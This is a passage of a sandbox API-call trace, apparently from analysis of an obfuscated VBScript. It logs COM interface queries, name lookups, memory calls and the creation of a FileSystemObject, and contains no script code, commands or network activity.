guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14bfe0 | out: ppvObject=0x14bfe0*=0x0) returned 0x80004002 [0076.561] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bf94 | out: ppvObject=0x14bf94*=0x83fd480) returned 0x0 [0076.562] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bf90 | out: ppvObject=0x14bf90*=0x83fd490) returned 0x0 [0076.562] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14bfe0 | out: ppvObject=0x14bfe0*=0x0) returned 0x80004002 [0076.562] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0076.562] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0076.562] DOMDocument:IUnknown:Release (This=0x1112ae8) returned 0x2 [0076.562] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bfc0 | out: ppvObject=0x14bfc0*=0x1112ae8) returned 0x0 [0076.562] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14bfb4 | out: ppvObject=0x14bfb4*=0x0) returned 0x80004002 [0076.562] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bf8c | out: ppvObject=0x14bf8c*=0x83fd480) returned 0x0 [0076.562] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bf88 | out: ppvObject=0x14bf88*=0x83fd490) returned 0x0 [0076.562] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14bfb4 | out: ppvObject=0x14bfb4*=0x0) returned 0x80004002 [0076.562] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0076.562] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0076.562] DOMDocument:IUnknown:Release (This=0x1112ae8) returned 0x2 [0076.562] Stream:IUnknown:Release (This=0x962bb00) returned 0x1 [0076.562] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c014 | out: ppvObject=0x14c014*=0x962bad0) returned 0x0 [0076.562] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x3 [0076.563] Stream:IUnknown:Release (This=0x962bad0) returned 0x2 [0076.563] Stream:IUnknown:Release (This=0x962bad0) returned 0x1 [0076.563] Stream:IUnknown:AddRef (This=0x962bad0) returned 0x2 [0076.563] ??3@YAXPAX@Z () returned 0x930001 [0076.563] ??3@YAXPAX@Z () returned 0x200001 [0076.563] ??3@YAXPAX@Z () returned 0xffff0001 [0076.563] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.563] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="aa", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.563] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="aa", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.563] GetCurrentThreadId () returned 0xd44 [0076.564] IUnknown:Release (This=0x1197760) returned 0x5 [0076.564] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c378 | out: ppvObject=0x14c378*=0x1197760) returned 0x0 [0076.564] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="bb", grfdex=0x8, pid=0x14c394 | out: pid=0x14c394*=1360880) returned 0x80020006 [0076.564] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="bb", grfdex=0x8, pid=0x14c2ec | out: pid=0x14c2ec*=-1) returned 0x80020006 [0076.564] GetCurrentThreadId () returned 0xd44 [0076.564] IUnknown:Release (This=0x1197760) returned 0x5 [0076.565] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.565] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="helloworld", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.565] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="helloworld", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.565] GetCurrentThreadId () returned 0xd44 [0076.565] IUnknown:Release (This=0x1197760) returned 0x5 [0076.565] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.565] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ssdss", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.565] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ssdss", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.565] GetCurrentThreadId () returned 0xd44 [0076.565] IUnknown:Release (This=0x1197760) returned 0x5 [0076.566] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.566] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="aa2", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.566] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="aa2", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.566] GetCurrentThreadId () returned 0xd44 [0076.566] IUnknown:Release (This=0x1197760) returned 0x5 [0076.567] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.567] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="ee", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.567] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="ee", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.567] GetCurrentThreadId () returned 0xd44 [0076.567] IUnknown:Release (This=0x1197760) returned 0x5 [0076.567] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.567] malloc (_Size=0x804) returned 0x83cc7a0 [0076.567] ??2@YAPAXI@Z () returned 0x844b458 [0076.567] ??3@YAXPAX@Z () returned 0x1 [0076.567] ??2@YAPAXI@Z () returned 0x1129260 [0076.567] ??3@YAXPAX@Z () returned 0xffff0001 [0076.567] free (_Block=0x11977f0) [0076.567] free (_Block=0x8444028) [0076.567] free (_Block=0x83d9ce0) [0076.567] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.568] ??2@YAPAXI@Z () returned 0x83fd5e8 [0076.568] IUnknown:AddRef (This=0x1197760) returned 0x6 [0076.568] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c038 | out: ppvObject=0x14c038*=0x1197760) returned 0x0 [0076.568] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="fghfgh", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=1360048) returned 0x80020006 [0076.568] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="fghfgh", grfdex=0x8, pid=0x14bfac | out: pid=0x14bfac*=-1) returned 0x80020006 [0076.568] GetCurrentThreadId () returned 0xd44 [0076.568] IUnknown:Release (This=0x1197760) returned 0x6 [0076.569] ??3@YAXPAX@Z () returned 0x930001 [0076.569] ??3@YAXPAX@Z () returned 0x200001 [0076.569] ??3@YAXPAX@Z () returned 0xffff0001 [0076.570] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.570] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="byeworld", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.570] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="byeworld", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.570] GetCurrentThreadId () returned 0xd44 [0076.570] IUnknown:Release (This=0x1197760) returned 0x5 [0076.570] GetCurrentThreadId () returned 0xd44 [0076.571] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0076.571] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="INTERNAL_COMMON", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0076.571] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="INTERNAL_COMMON", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0076.571] GetCurrentThreadId () returned 0xd44 [0076.571] IUnknown:Release (This=0x1197760) returned 0x5 [0076.571] GetCurrentThreadId () returned 0xd44 [0076.571] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0076.571] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="INTERNAL_CMD_EXE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0076.571] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="INTERNAL_CMD_EXE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0076.571] GetCurrentThreadId () returned 0xd44 [0076.571] IUnknown:Release (This=0x1197760) returned 0x5 [0076.571] GetCurrentThreadId () returned 0xd44 [0076.572] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0076.572] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="INTERNAL_COMMAND_COM", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0076.572] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="INTERNAL_COMMAND_COM", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0076.572] GetCurrentThreadId () returned 0xd44 [0076.572] IUnknown:Release (This=0x1197760) returned 0x5 [0076.572] DOMDocument:IUnknown:Release (This=0x1112ae8) returned 0x0 [0076.572] ??3@YAXPAX@Z () returned 0x500001 [0076.572] GetCurrentThreadId () returned 0xd44 [0076.572] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0076.572] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="BROWSE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0076.572] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="BROWSE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0076.572] GetCurrentThreadId () returned 0xd44 [0076.573] IUnknown:Release (This=0x1197760) returned 0x5 [0076.573] GetCurrentThreadId () returned 0xd44 [0076.573] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0076.573] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="SEARCH", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0076.573] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="SEARCH", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0076.573] GetCurrentThreadId () returned 0xd44 [0076.573] IUnknown:Release (This=0x1197760) returned 0x5 [0076.573] GetCurrentThreadId () returned 0xd44 [0076.573] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0076.573] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="VCUEY3T6F78", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0076.573] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="VCUEY3T6F78", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0076.573] GetCurrentThreadId () returned 0xd44 [0076.573] IUnknown:Release (This=0x1197760) returned 0x5 [0076.574] GetCurrentThreadId () returned 0xd44 [0076.574] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0076.574] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="TANGUANY", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0076.574] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="TANGUANY", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0076.574] GetCurrentThreadId () returned 0xd44 [0076.574] IUnknown:Release (This=0x1197760) returned 0x5 [0076.574] GetCurrentThreadId () returned 0xd44 [0076.574] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0076.574] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="SEARCHTRUE", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0076.574] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="SEARCHTRUE", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0076.574] GetCurrentThreadId () returned 0xd44 [0076.574] IUnknown:Release (This=0x1197760) returned 0x5 [0076.575] GetCurrentThreadId () returned 0xd44 [0076.575] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0076.575] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="RUNMETHROUGH", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0076.575] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="RUNMETHROUGH", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0076.575] GetCurrentThreadId () returned 0xd44 [0076.575] IUnknown:Release (This=0x1197760) returned 0x5 [0076.575] GetCurrentThreadId () returned 0xd44 [0076.575] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0076.575] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="FORWARD", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0076.575] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="FORWARD", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0076.575] GetCurrentThreadId () returned 0xd44 [0076.575] IUnknown:Release (This=0x1197760) returned 0x5 [0076.575] GetCurrentThreadId () returned 0xd44 [0076.576] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c3ac | out: ppvObject=0x14c3ac*=0x1197760) returned 0x0 [0076.576] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="PRINTERS", grfdex=0x8, pid=0x14c3c8 | out: pid=0x14c3c8*=1361072) returned 0x80020006 [0076.576] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="PRINTERS", grfdex=0x8, pid=0x14c320 | out: pid=0x14c320*=-1) returned 0x80020006 [0076.576] GetCurrentThreadId () returned 0xd44 [0076.576] IUnknown:Release (This=0x1197760) returned 0x5 [0076.576] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.576] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vardwn", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.576] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vardwn", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.576] GetCurrentThreadId () returned 0xd44 [0076.576] IUnknown:Release (This=0x1197760) returned 0x5 [0076.577] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.577] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="trjrtjhrth", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.577] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="trjrtjhrth", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.577] GetCurrentThreadId () returned 0xd44 [0076.577] IUnknown:Release (This=0x1197760) returned 0x5 [0076.577] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.577] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="yty", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.577] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="yty", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.577] GetCurrentThreadId () returned 0xd44 [0076.578] IUnknown:Release (This=0x1197760) returned 0x5 [0076.578] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0076.578] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="tgrighirh", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0076.578] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="tgrighirh", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0076.578] GetCurrentThreadId () returned 0xd44 [0076.578] IUnknown:Release (This=0x1197760) returned 0x5 [0076.578] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.578] malloc (_Size=0x804) returned 0x83cc7a0 [0076.578] ??2@YAPAXI@Z () returned 0x844b458 [0076.578] ??3@YAXPAX@Z () returned 0x1 [0076.578] malloc (_Size=0x204) returned 0x8444028 [0076.579] ??2@YAPAXI@Z () returned 0x1129260 [0076.579] ??3@YAXPAX@Z () returned 0xffff0001 [0076.579] free (_Block=0x11977f0) [0076.579] free (_Block=0x8444028) [0076.579] free (_Block=0x83d9ce0) [0076.579] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.579] ??2@YAPAXI@Z () returned 0x83fd5e8 [0076.579] IUnknown:AddRef (This=0x1197760) returned 0x6 [0076.579] CLSIDFromProgIDEx (in: lpszProgID="Scripting.FileSystemObject", lpclsid=0x14c06c | out: lpclsid=0x14c06c*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28))) returned 0x0 [0076.582] SysStringLen (param_1=0x0) returned 0x0 [0076.582] CoGetClassObject (in: rclsid=0x14c06c*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14c05c | out: ppv=0x14c05c*=0x838c558) returned 0x0 [0076.583] FileSystemObject:IUnknown:QueryInterface (in: This=0x838c558, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14c058 | out: ppvObject=0x14c058*=0x0) returned 0x80004002 [0076.583] FileSystemObject:IClassFactory:CreateInstance (in: This=0x838c558, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c060 | out: ppvObject=0x14c060*=0x838c5d8) returned 0x0 [0076.583] FileSystemObject:IUnknown:Release (This=0x838c558) returned 0x0 [0076.583] FileSystemObject:IUnknown:QueryInterface (in: This=0x838c5d8, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14c024 | out: ppvObject=0x14c024*=0x0) returned 0x80004002 [0076.583] 